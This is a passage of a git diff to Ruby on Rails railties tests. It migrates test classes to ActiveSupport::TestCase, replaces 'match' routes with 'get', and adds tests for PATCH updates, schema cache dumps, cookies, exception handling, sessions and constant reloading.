+ assert_equal "/foo?bar", Rails.application.send(:build_original_fullpath, env)
+ end
+ end
+end
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index 97ad47ac14..252dd0e31a 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -1,4 +1,5 @@
require "isolation/abstract_unit"
+require 'rack/test'
class ::MyMailInterceptor
def self.delivering_email(email); email; end
@@ -13,8 +14,9 @@ end
class ::MyOtherMailObserver < ::MyMailObserver; end
module ApplicationTests
- class ConfigurationTest < Test::Unit::TestCase
+ class ConfigurationTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
def new_app
File.expand_path("#{app_path}/../new_app")
@@ -39,6 +41,14 @@ module ApplicationTests
FileUtils.rm_rf(new_app) if File.directory?(new_app)
end
+ test "multiple queue construction is possible" do
+ require 'rails'
+ require "#{app_path}/config/environment"
+ mail_queue = Rails.application.build_queue
+ image_processing_queue = Rails.application.build_queue
+ assert_not_equal mail_queue, image_processing_queue
+ end
+
test "Rails.groups returns available groups" do
require "rails"
@@ -144,7 +154,7 @@ module ApplicationTests
test "frameworks are not preloaded by default" do
require "#{app_path}/config/environment"
- assert ActionController.autoload?(:RecordIdentifier)
+ assert ActionController.autoload?(:Caching)
end
test "frameworks are preloaded with config.preload_frameworks is set" do
@@ -154,7 +164,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
- assert !ActionController.autoload?(:RecordIdentifier)
+ assert !ActionController.autoload?(:Caching)
end
test "filter_parameters should be able to set via config.filter_parameters" do
@@ -181,20 +191,14 @@ module ApplicationTests
assert !$prepared
require "#{app_path}/config/environment"
- require 'rack/test'
- extend Rack::Test::Methods
get "/"
assert $prepared
end
def assert_utf8
- if RUBY_VERSION < '1.9'
- assert_equal "UTF8", $KCODE
- else
- assert_equal Encoding::UTF_8, Encoding.default_external
- assert_equal Encoding::UTF_8, Encoding.default_internal
- end
+ assert_equal Encoding::UTF_8, Encoding.default_external
+ assert_equal Encoding::UTF_8, Encoding.default_internal
end
test "skipping config.encoding still results in 'utf-8' as the default" do
@@ -250,6 +254,55 @@ module ApplicationTests
assert last_response.body =~ /csrf\-param/
end
+ test "default method for update can be changed" do
+ app_file 'app/models/post.rb', <<-RUBY
+ class Post
+ extend ActiveModel::Naming
+ def to_key; [1]; end
+ def persisted?; true; end
+ end
+ RUBY
+
+ app_file 'app/controllers/posts_controller.rb', <<-RUBY
+ class PostsController < ApplicationController
+ def show
+ render :inline => "<%= begin; form_for(Post.new) {}; rescue => e; e.to_s; end %>"
+ end
+
+ def update
+ render :text => "update"
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ routes.prepend do
+ resources :posts
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ token = "cf50faa3fe97702ca1ae"
+ PostsController.any_instance.stubs(:form_authenticity_token).returns(token)
+ params = {:authenticity_token => token}
+
+ get "/posts/1"
+ assert_match /patch/, last_response.body
+
+ patch "/posts/1", params
+ assert_match /update/, last_response.body
+
+ patch "/posts/1", params
+ assert_equal 200, last_response.status
+
+ put "/posts/1", params
+ assert_match /update/, last_response.body
+
+ put "/posts/1", params
+ assert_equal 200, last_response.status
+ end
+
test "request forgery token param can be changed" do
make_basic_app do
app.config.action_controller.request_forgery_protection_token = '_xsrf_token_here'
@@ -286,6 +339,19 @@ module ApplicationTests
assert_equal res, last_response.body # value should be unchanged
end
+ test "sets ActionDispatch.test_app" do
+ make_basic_app
+ assert_equal Rails.application, ActionDispatch.test_app
+ end
+
+ test "sets ActionDispatch::Response.default_charset" do
+ make_basic_app do |app|
+ app.config.action_dispatch.default_charset = "utf-16"
+ end
+
+ assert_equal "utf-16", ActionDispatch::Response.default_charset
+ end
+
test "sets all Active Record models to whitelist all attributes by default" do
add_to_config <<-RUBY
config.active_record.whitelist_attributes = true
@@ -474,23 +540,27 @@ module ApplicationTests
end
RUBY
+ app_file 'app/controllers/application_controller.rb', <<-RUBY
+ class ApplicationController < ActionController::Base
+ protect_from_forgery :with => :reset_session # as we are testing API here
+ end
+ RUBY
+
app_file 'app/controllers/posts_controller.rb', <<-RUBY
class PostsController < ApplicationController
- def index
+ def create
render :text => params[:post].inspect
end
end
RUBY
add_to_config <<-RUBY
- routes.append do
+ routes.prepend do
resources :posts
end
RUBY
require "#{app_path}/config/environment"
- require "rack/test"
- extend Rack::Test::Methods
post "/posts.json", '{ "title": "foo", "name": "bar" }', "CONTENT_TYPE" => "application/json"
assert_equal '{"title"=>"foo"}', last_response.body
@@ -521,9 +591,16 @@ module ApplicationTests
make_basic_app
assert_respond_to app, :env_config
- assert_equal app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters
- assert_equal app.env_config['action_dispatch.secret_token'], app.config.secret_token
- assert_equal app.env_config['action_dispatch.show_exceptions'], app.config.action_dispatch.show_exceptions
+ assert_equal app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters
+ assert_equal app.env_config['action_dispatch.secret_token'], app.config.secret_token
+ assert_equal app.env_config['action_dispatch.show_exceptions'], app.config.action_dispatch.show_exceptions
+ assert_equal app.env_config['action_dispatch.logger'], Rails.logger
+ assert_equal app.env_config['action_dispatch.backtrace_cleaner'], Rails.backtrace_cleaner
+ end
+
+ test "config.colorize_logging default is true" do
+ make_basic_app
+ assert app.config.colorize_logging
end
end
end
diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb
index 1528d5dd87..f372afa51c 100644
--- a/railties/test/application/console_test.rb
+++ b/railties/test/application/console_test.rb
@@ -1,6 +1,6 @@
require 'isolation/abstract_unit'
-class ConsoleTest < Test::Unit::TestCase
+class ConsoleTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -18,16 +18,20 @@ class ConsoleTest < Test::Unit::TestCase
Rails.application.load_console
end
+ def irb_context
+ Object.new.extend(Rails::ConsoleMethods)
+ end
+
def test_app_method_should_return_integration_session
TestHelpers::Rack.send :remove_method, :app
load_environment
- console_session = app
+ console_session = irb_context.app
assert_instance_of ActionDispatch::Integration::Session, console_session
end
def test_new_session_should_return_integration_session
load_environment
- session = new_session
+ session = irb_context.new_session
assert_instance_of ActionDispatch::Integration::Session, session
end
@@ -41,7 +45,7 @@ class ConsoleTest < Test::Unit::TestCase
ActionDispatch::Reloader.to_prepare { c = 3 }
# Hide Reloading... output
- silence_stream(STDOUT) { reload! }
+ silence_stream(STDOUT) { irb_context.reload! }
assert_equal 1, a
assert_equal 2, b
@@ -57,7 +61,6 @@ class ConsoleTest < Test::Unit::TestCase
load_environment
assert User.new.respond_to?(:name)
- assert !User.new.respond_to?(:age)
app_file "app/models/user.rb", <<-MODEL
class User
@@ -66,12 +69,13 @@ class ConsoleTest < Test::Unit::TestCase
MODEL
assert !User.new.respond_to?(:age)
- silence_stream(STDOUT) { reload! }
+ silence_stream(STDOUT) { irb_context.reload! }
assert User.new.respond_to?(:age)
end
def test_access_to_helpers
load_environment
+ helper = irb_context.helper
assert_not_nil helper
assert_instance_of ActionView::Base, helper
assert_equal 'Once upon a time in a world...',
diff --git a/railties/test/application/generators_test.rb b/railties/test/application/generators_test.rb
index 8718f27de1..b80244f1d2 100644
--- a/railties/test/application/generators_test.rb
+++ b/railties/test/application/generators_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class GeneratorsTest < Test::Unit::TestCase
+ class GeneratorsTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/initializers/boot_test.rb b/railties/test/application/initializers/boot_test.rb
index b1e01dc13f..04c46058cb 100644
--- a/railties/test/application/initializers/boot_test.rb
+++ b/railties/test/application/initializers/boot_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class GemBooting < Test::Unit::TestCase
+ class GemBooting < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/initializers/check_ruby_version_test.rb b/railties/test/application/initializers/check_ruby_version_test.rb
deleted file mode 100644
index df7e9696a9..0000000000
--- a/railties/test/application/initializers/check_ruby_version_test.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require "isolation/abstract_unit"
-
-module ApplicationTests
- class CheckRubyVersionTest < Test::Unit::TestCase
- include ActiveSupport::Testing::Isolation
-
- def setup
- build_app
- boot_rails
- end
-
- def teardown
- teardown_app
- end
-
- test "rails initializes with ruby 1.8.7 or later, except for 1.9.1" do
- if RUBY_VERSION < '1.8.7'
- assert_rails_does_not_boot
- elsif RUBY_VERSION == '1.9.1'
- assert_rails_does_not_boot
- else
- assert_rails_boots
- end
- end
-
- def assert_rails_boots
- assert_nothing_raised "It appears that rails does not boot" do
- require "rails/all"
- end
- end
-
- def assert_rails_does_not_boot
- $stderr = File.open("/dev/null", "w")
- assert_raises(SystemExit) do
- require "rails/all"
- end
- end
- end
-end
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
index 446c85d65a..c2d4a0f2c8 100644
--- a/railties/test/application/initializers/frameworks_test.rb
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -1,7 +1,8 @@
require "isolation/abstract_unit"
+require 'set'
module ApplicationTests
- class FrameworksTest < Test::Unit::TestCase
+ class FrameworksTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -66,7 +67,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
assert Foo.method_defined?(:foo_path)
assert Foo.method_defined?(:main_app)
- assert_equal ["notify"], Foo.action_methods
+ assert_equal Set.new(["notify"]), Foo.action_methods
end
test "allows to not load all helpers for controllers" do
@@ -115,7 +116,7 @@ module ApplicationTests
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
- match "/:controller(/:action)"
+ get "/:controller(/:action)"
end
RUBY
@@ -136,6 +137,13 @@ module ApplicationTests
assert_equal 2, ActionDispatch::Http::URL.tld_length
end
+ test "assignment config.encoding to default_charset" do
+ charset = 'Shift_JIS'
+ add_to_config "config.encoding = '#{charset}'"
+ require "#{app_path}/config/environment"
+ assert_equal charset, ActionDispatch::Response.default_charset
+ end
+
# AS
test "if there's no config.active_support.bare, all of ActiveSupport is required" do
use_frameworks []
@@ -186,5 +194,26 @@ module ApplicationTests
require "#{app_path}/config/environment"
assert_nil defined?(ActiveRecord::Base)
end
+
+ test "use schema cache dump" do
+ Dir.chdir(app_path) do
+ `rails generate model post title:string;
+ bundle exec rake db:migrate db:schema:cache:dump`
+ end
+ require "#{app_path}/config/environment"
+ ActiveRecord::Base.connection.drop_table("posts") # force drop posts table for test.
+ assert ActiveRecord::Base.connection.schema_cache.tables["posts"]
+ end
+
+ test "expire schema cache dump" do
+ Dir.chdir(app_path) do
+ `rails generate model post title:string;
+ bundle exec rake db:migrate db:schema:cache:dump db:rollback`
+ end
+ silence_warnings {
+ require "#{app_path}/config/environment"
+ assert !ActiveRecord::Base.connection.schema_cache.tables["posts"]
+ }
+ end
end
end
diff --git a/railties/test/application/initializers/hooks_test.rb b/railties/test/application/initializers/hooks_test.rb
index 8c7726339c..7b3e6844fd 100644
--- a/railties/test/application/initializers/hooks_test.rb
+++ b/railties/test/application/initializers/hooks_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class InitializersTest < Test::Unit::TestCase
+ class InitializersTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
index 8c2c079fb8..02d20bc150 100644
--- a/railties/test/application/initializers/i18n_test.rb
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class I18nTest < Test::Unit::TestCase
+ class I18nTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -85,7 +85,7 @@ en:
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match '/i18n', :to => lambda { |env| [200, {}, [Foo.instance_variable_get('@foo')]] }
+ get '/i18n', :to => lambda { |env| [200, {}, [Foo.instance_variable_get('@foo')]] }
end
RUBY
@@ -109,7 +109,7 @@ en:
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match '/i18n', :to => lambda { |env| [200, {}, [I18n.t(:foo)]] }
+ get '/i18n', :to => lambda { |env| [200, {}, [I18n.t(:foo)]] }
end
RUBY
@@ -120,6 +120,9 @@ en:
get "/i18n"
assert_equal "1", last_response.body
+ # Wait a full second so we have time for changes to propagate
+ sleep(1)
+
app_file "config/locales/en.yml", <<-YAML
en:
foo: "2"
diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb
index 644b8208a9..31811e7f92 100644
--- a/railties/test/application/initializers/load_path_test.rb
+++ b/railties/test/application/initializers/load_path_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class LoadPathTest < Test::Unit::TestCase
+ class LoadPathTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb
index b72c14eaf0..d866a63fe0 100644
--- a/railties/test/application/initializers/notifications_test.rb
+++ b/railties/test/application/initializers/notifications_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class NotificationsTest < Test::Unit::TestCase
+ class NotificationsTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
index 47c6fd5c6e..e0286502f3 100644
--- a/railties/test/application/loading_test.rb
+++ b/railties/test/application/loading_test.rb
@@ -1,6 +1,6 @@
require 'isolation/abstract_unit'
-class LoadingTest < Test::Unit::TestCase
+class LoadingTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -16,10 +16,11 @@ class LoadingTest < Test::Unit::TestCase
@app ||= Rails.application
end
- def test_constants_in_app_are_autoloaded
+ test "constants in app are autoloaded" do
app_file "app/models/post.rb", <<-MODEL
class Post < ActiveRecord::Base
validates_acceptance_of :title, :accept => "omg"
+ attr_accessible :title
end
MODEL
@@ -33,7 +34,7 @@ class LoadingTest < Test::Unit::TestCase
assert_equal 'omg', p.title
end
- def test_models_without_table_do_not_panic_on_scope_definitions_when_loaded
+ test "models without table do not panic on scope definitions when loaded" do
app_file "app/models/user.rb", <<-MODEL
class User < ActiveRecord::Base
default_scope where(:published => true)
@@ -63,9 +64,10 @@ class LoadingTest < Test::Unit::TestCase
assert ::AppTemplate::Application.config.loaded
end
- def test_descendants_are_cleaned_on_each_request_without_cache_classes
+ test "descendants loaded after framework initialization are cleaned on each request without cache classes" do
add_to_config <<-RUBY
config.cache_classes = false
+ config.reload_classes_only_on_change = false
RUBY
app_file "app/models/post.rb", <<-MODEL
@@ -75,8 +77,8 @@ class LoadingTest < Test::Unit::TestCase
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match '/load', :to => lambda { |env| [200, {}, Post.all] }
- match '/unload', :to => lambda { |env| [200, {}, []] }
+ get '/load', :to => lambda { |env| [200, {}, Post.all] }
+ get '/unload', :to => lambda { |env| [200, {}, []] }
end
RUBY
@@ -86,18 +88,213 @@ class LoadingTest < Test::Unit::TestCase
require "#{rails_root}/config/environment"
setup_ar!
- assert_equal [], ActiveRecord::Base.descendants
+ assert_equal [ActiveRecord::SchemaMigration], ActiveRecord::Base.descendants
get "/load"
- assert_equal [Post], ActiveRecord::Base.descendants
+ assert_equal [ActiveRecord::SchemaMigration, Post], ActiveRecord::Base.descendants
get "/unload"
- assert_equal [], ActiveRecord::Base.descendants
+ assert_equal [ActiveRecord::SchemaMigration], ActiveRecord::Base.descendants
end
- test "initialize_cant_be_called_twice" do
+ test "initialize cant be called twice" do
require "#{app_path}/config/environment"
assert_raise(RuntimeError) { ::AppTemplate::Application.initialize! }
end
+ test "reload constants on development" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/c', :to => lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
+ end
+ RUBY
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ def self.counter; 1; end
+ end
+ MODEL
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ require "#{rails_root}/config/environment"
+
+ get "/c"
+ assert_equal "1", last_response.body
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ def self.counter; 2; end
+ end
+ MODEL
+
+ get "/c"
+ assert_equal "2", last_response.body
+ end
+
+ test "does not reload constants on development if custom file watcher always returns false" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ config.file_watcher = Class.new do
+ def initialize(*); end
+ def updated?; false; end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/c', :to => lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
+ end
+ RUBY
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ def self.counter; 1; end
+ end
+ MODEL
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ require "#{rails_root}/config/environment"
+
+ get "/c"
+ assert_equal "1", last_response.body
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ def self.counter; 2; end
+ end
+ MODEL
+
+ get "/c"
+ assert_equal "1", last_response.body
+ end
+
+ test "added files (like db/schema.rb) also trigger reloading" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ $counter = 0
+ AppTemplate::Application.routes.draw do
+ get '/c', :to => lambda { |env| User; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
+ end
+ RUBY
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ $counter += 1
+ end
+ MODEL
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ require "#{rails_root}/config/environment"
+
+ get "/c"
+ assert_equal "1", last_response.body
+
+ app_file "db/schema.rb", ""
+
+ get "/c"
+ assert_equal "2", last_response.body
+ end
+
+ test "columns migrations also trigger reloading" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/title', :to => lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.title]] }
+ get '/body', :to => lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.body]] }
+ end
+ RUBY
+
+ app_file "app/models/post.rb", <<-MODEL
+ class Post < ActiveRecord::Base
+ end
+ MODEL
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ app_file "db/migrate/1_create_posts.rb", <<-MIGRATION
+ class CreatePosts < ActiveRecord::Migration
+ def change
+ create_table :posts do |t|
+ t.string :title, :default => "TITLE"
+ end
+ end
+ end
+ MIGRATION
+
+ Dir.chdir(app_path) { `rake db:migrate`}
+ require "#{rails_root}/config/environment"
+
+ get "/title"
+ assert_equal "TITLE", last_response.body
+
+ app_file "db/migrate/2_add_body_to_posts.rb", <<-MIGRATION
+ class AddBodyToPosts < ActiveRecord::Migration
+ def change
+ add_column :posts, :body, :text, :default => "BODY"
+ end
+ end
+ MIGRATION
+
+ Dir.chdir(app_path) { `rake db:migrate` }
+
+ get "/body"
+ assert_equal "BODY", last_response.body
+ end
+
+ test "AC load hooks can be used with metal" do
+ app_file "app/controllers/omg_controller.rb", <<-RUBY
+ begin
+ class OmgController < ActionController::Metal
+ ActiveSupport.run_load_hooks(:action_controller, self)
+ def show
+ self.response_body = ["OK"]
+ end
+ end
+ rescue => e
+ puts "Error loading metal: \#{e.class} \#{e.message}"
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get "/:controller(/:action)"
+ end
+ RUBY
+
+ require "#{rails_root}/config/environment"
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get '/omg/show'
+ assert_equal 'OK', last_response.body
+ end
+
+ def test_initialize_can_be_called_at_any_time
+ require "#{app_path}/config/application"
+
+ assert !Rails.initialized?
+ assert !AppTemplate::Application.initialized?
+ Rails.initialize!
+ assert Rails.initialized?
+ assert AppTemplate::Application.initialized?
+ end
+
protected
def setup_ar!
diff --git a/railties/test/application/middleware/best_practices_test.rb b/railties/test/application/middleware/best_practices_test.rb
index 1c88b9bf06..f6783c6ca2 100644
--- a/railties/test/application/middleware/best_practices_test.rb
+++ b/railties/test/application/middleware/best_practices_test.rb
@@ -1,7 +1,7 @@
require 'isolation/abstract_unit'
module ApplicationTests
- class BestPracticesTest < Test::Unit::TestCase
+ class BestPracticesTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
index 050a2161ae..54b18542c2 100644
--- a/railties/test/application/middleware/cache_test.rb
+++ b/railties/test/application/middleware/cache_test.rb
@@ -1,7 +1,7 @@
require 'isolation/abstract_unit'
module ApplicationTests
- class RoutingTest < Test::Unit::TestCase
+ class RoutingTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -46,7 +46,7 @@ module ApplicationTests
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match ':controller(/:action)'
+ get ':controller(/:action)'
end
RUBY
end
@@ -54,9 +54,9 @@ module ApplicationTests
def test_cache_keeps_if_modified_since
simple_controller
expected = "Wed, 30 May 1984 19:43:31 GMT"
-
+
get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected
-
+
assert_equal 200, last_response.status
assert_equal expected, last_response.body, "cache should have kept If-Modified-Since"
end
diff --git a/railties/test/application/middleware/cookies_test.rb b/railties/test/application/middleware/cookies_test.rb
new file mode 100644
index 0000000000..18af7abafc
--- /dev/null
+++ b/railties/test/application/middleware/cookies_test.rb
@@ -0,0 +1,47 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class CookiesTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def new_app
+ File.expand_path("#{app_path}/../new_app")
+ end
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ FileUtils.rm_rf(new_app) if File.directory?(new_app)
+ end
+
+ test 'always_write_cookie is true by default in development' do
+ require 'rails'
+ Rails.env = 'development'
+ require "#{app_path}/config/environment"
+ assert_equal true, ActionDispatch::Cookies::CookieJar.always_write_cookie
+ end
+
+ test 'always_write_cookie is false by default in production' do
+ require 'rails'
+ Rails.env = 'production'
+ require "#{app_path}/config/environment"
+ assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+ end
+
+ test 'always_write_cookie can be overrided' do
+ add_to_config <<-RUBY
+ config.action_dispatch.always_write_cookie = false
+ RUBY
+
+ require 'rails'
+ Rails.env = 'development'
+ require "#{app_path}/config/environment"
+ assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+ end
+ end
+end
diff --git a/railties/test/application/middleware/exceptions_test.rb b/railties/test/application/middleware/exceptions_test.rb
new file mode 100644
index 0000000000..d1a614e181
--- /dev/null
+++ b/railties/test/application/middleware/exceptions_test.rb
@@ -0,0 +1,117 @@
+# encoding: utf-8
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class MiddlewareExceptionsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "show exceptions middleware filter backtrace before logging" do
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ raise 'oops'
+ end
+ end
+ RUBY
+
+ get "/foo"
+ assert_equal 500, last_response.status
+
+ log = File.read(Rails.application.config.paths["log"].first)
+ assert_no_match(/action_dispatch/, log, log)
+ assert_match(/oops/, log, log)
+ end
+
+ test "renders active record exceptions as 404" do
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ raise ActiveRecord::RecordNotFound
+ end
+ end
+ RUBY
+
+ get "/foo"
+ assert_equal 404, last_response.status
+ end
+
+ test "uses custom exceptions app" do
+ add_to_config <<-RUBY
+ config.exceptions_app = lambda do |env|
+ [404, { "Content-Type" => "text/plain" }, ["YOU FAILED BRO"]]
+ end
+ RUBY
+
+ app.config.action_dispatch.show_exceptions = true
+
+ get "/foo"
+ assert_equal 404, last_response.status
+ assert_equal "YOU FAILED BRO", last_response.body
+ end
+
+ test "unspecified route when action_dispatch.show_exceptions is not set raises an exception" do
+ app.config.action_dispatch.show_exceptions = false
+
+ assert_raise(ActionController::RoutingError) do
+ get '/foo'
+ end
+ end
+
+ test "unspecified route when action_dispatch.show_exceptions is set shows 404" do
+ app.config.action_dispatch.show_exceptions = true
+
+ assert_nothing_raised(ActionController::RoutingError) do
+ get '/foo'
+ assert_match "The page you were looking for doesn't exist.", last_response.body
+ end
+ end
+
+ test "unspecified route when action_dispatch.show_exceptions and consider_all_requests_local are set shows diagnostics" do
+ app.config.action_dispatch.show_exceptions = true
+ app.config.consider_all_requests_local = true
+
+ assert_nothing_raised(ActionController::RoutingError) do
+ get '/foo'
+ assert_match "No route matches", last_response.body
+ end
+ end
+
+ test "displays diagnostics message when exception raised in template that contains UTF-8" do
+ app.config.action_dispatch.show_exceptions = true
+ app.config.consider_all_requests_local = true
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ end
+ end
+ RUBY
+
+ app_file 'app/views/foo/index.html.erb', <<-ERB
+ <% raise 'boooom' %>
+ ✓測試テスト시험
+ ERB
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ post ':controller(/:action)'
+ end
+ RUBY
+
+ post '/foo', :utf8 => '✓'
+ assert_match(/boooom/, last_response.body)
+ assert_match(/測試テスト시험/, last_response.body)
+ end
+ end
+end
diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb
index da291f061c..066f0c1c84 100644
--- a/railties/test/application/middleware/remote_ip_test.rb
+++ b/railties/test/application/middleware/remote_ip_test.rb
@@ -1,7 +1,7 @@
require 'isolation/abstract_unit'
module ApplicationTests
- class RemoteIpTest < Test::Unit::TestCase
+ class RemoteIpTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb
index d2ad2668bb..eb791f5687 100644
--- a/railties/test/application/middleware/sendfile_test.rb
+++ b/railties/test/application/middleware/sendfile_test.rb
@@ -1,7 +1,7 @@
require 'isolation/abstract_unit'
module ApplicationTests
- class SendfileTest < Test::Unit::TestCase
+ class SendfileTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -57,5 +57,18 @@ module ApplicationTests
get "/"
assert_equal File.expand_path(__FILE__), last_response.headers["X-Lighttpd-Send-File"]
end
+
+ test "files handled by ActionDispatch::Static are handled by Rack::Sendfile" do
+ make_basic_app do |app|
+ app.config.action_dispatch.x_sendfile_header = 'X-Sendfile'
+ app.config.serve_static_assets = true
+ app.paths["public"] = File.join(rails_root, "public")
+ end
+
+ app_file "public/foo.txt", "foo"
+
+ get "/foo.txt", "HTTP_X_SENDFILE_TYPE" => "X-Sendfile"
+ assert_equal File.join(rails_root, "public/foo.txt"), last_response.headers["X-Sendfile"]
+ end
end
end
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
new file mode 100644
index 0000000000..07134cc935
--- /dev/null
+++ b/railties/test/application/middleware/session_test.rb
@@ -0,0 +1,50 @@
+# encoding: utf-8
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class MiddlewareSessionTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def app
+ @app ||= Rails.application
+ end
+
+ test "config.force_ssl sets cookie to secure only" do
+ add_to_config "config.force_ssl = true"
+ require "#{app_path}/config/environment"
+ assert app.config.session_options[:secure], "Expected session to be marked as secure"
+ end
+
+ test "session is not loaded if it's not used" do
+ make_basic_app
+
+ class ::OmgController < ActionController::Base
+ def index
+ if params[:flash]
+ flash[:notice] = "notice"
+ end
+
+ render :nothing => true
+ end
+ end
+
+ get "/?flash=true"
+ get "/"
+
+ assert last_request.env["HTTP_COOKIE"]
+ assert !last_response.headers["Set-Cookie"]
+ end
+ end
+end
diff --git a/railties/test/application/middleware/show_exceptions_test.rb b/railties/test/application/middleware/show_exceptions_test.rb
deleted file mode 100644
index e3f27f63c3..0000000000
--- a/railties/test/application/middleware/show_exceptions_test.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-require 'isolation/abstract_unit'
-
-module ApplicationTests
- class ShowExceptionsTest < Test::Unit::TestCase
- include ActiveSupport::Testing::Isolation
-
- def setup
- build_app
- boot_rails
- FileUtils.rm_rf "#{app_path}/config/environments"
- end
-
- def teardown
- teardown_app
- end
-
- def app
- @app ||= Rails.application
- end
-
- test "unspecified route when set action_dispatch.show_exceptions to false" do
- make_basic_app do |app|
- app.config.action_dispatch.show_exceptions = false
- end
-
- assert_raise(ActionController::RoutingError) do
- get '/foo'
- end
- end
-
